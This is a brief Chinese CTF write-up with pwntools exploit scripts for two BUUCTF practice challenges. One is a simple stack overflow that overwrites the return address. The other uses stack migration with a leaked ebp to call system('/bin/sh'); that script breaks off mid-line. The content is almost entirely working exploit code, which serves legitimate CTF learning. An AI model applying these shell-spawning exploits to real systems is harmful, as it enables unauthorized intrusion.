BUUCTF pwn水题大赏
suctf_2018_stack
最最最最最最基本的栈溢出,也不知道为啥会这么高分。
exp:
from pwn import*
context.log_level = 'DEBUG'
p=remote('node3.buuoj.cn',28582)
#p=process('./SUCTF_2018_stack')
elf=ELF('./SUCTF_2018_stack')
payload = 'a'*0x28+p64(0x0040067A)
p.sendline(payload)
#gdb.attach(p)
p.interactive()
ciscn_2019_es_2
栈迁移,ret
执行的是 ebp+4
,所以要让 ebp
等于 epb-4
,然后再迁移。
exp:
from pwn import*
context.log_level = 'DEBUG'
p=remote('node3.buuoj.cn',28283)
#p=process('./ciscn_2019_es_2')
elf=ELF('./ciscn_2019_es_2')
#libc = ELF('')
system = elf.plt['system']
main_addr = elf.sym['main']
leave = 0x80484b8
p.recvuntil("name?")
payload = 'a'*0x20+'b'*8
p.send(payload)
p.recvuntil('bbbbbbbb')
ebp = u32(p.recv(4))
print hex(ebp)
#gdb.attach(p)
p.send(p32(system)+'aaaa'+p32(ebp-0x2c)+'/bin/sh\x00'+'a'*0x14+p32(ebp-0x3c)+p32(leave)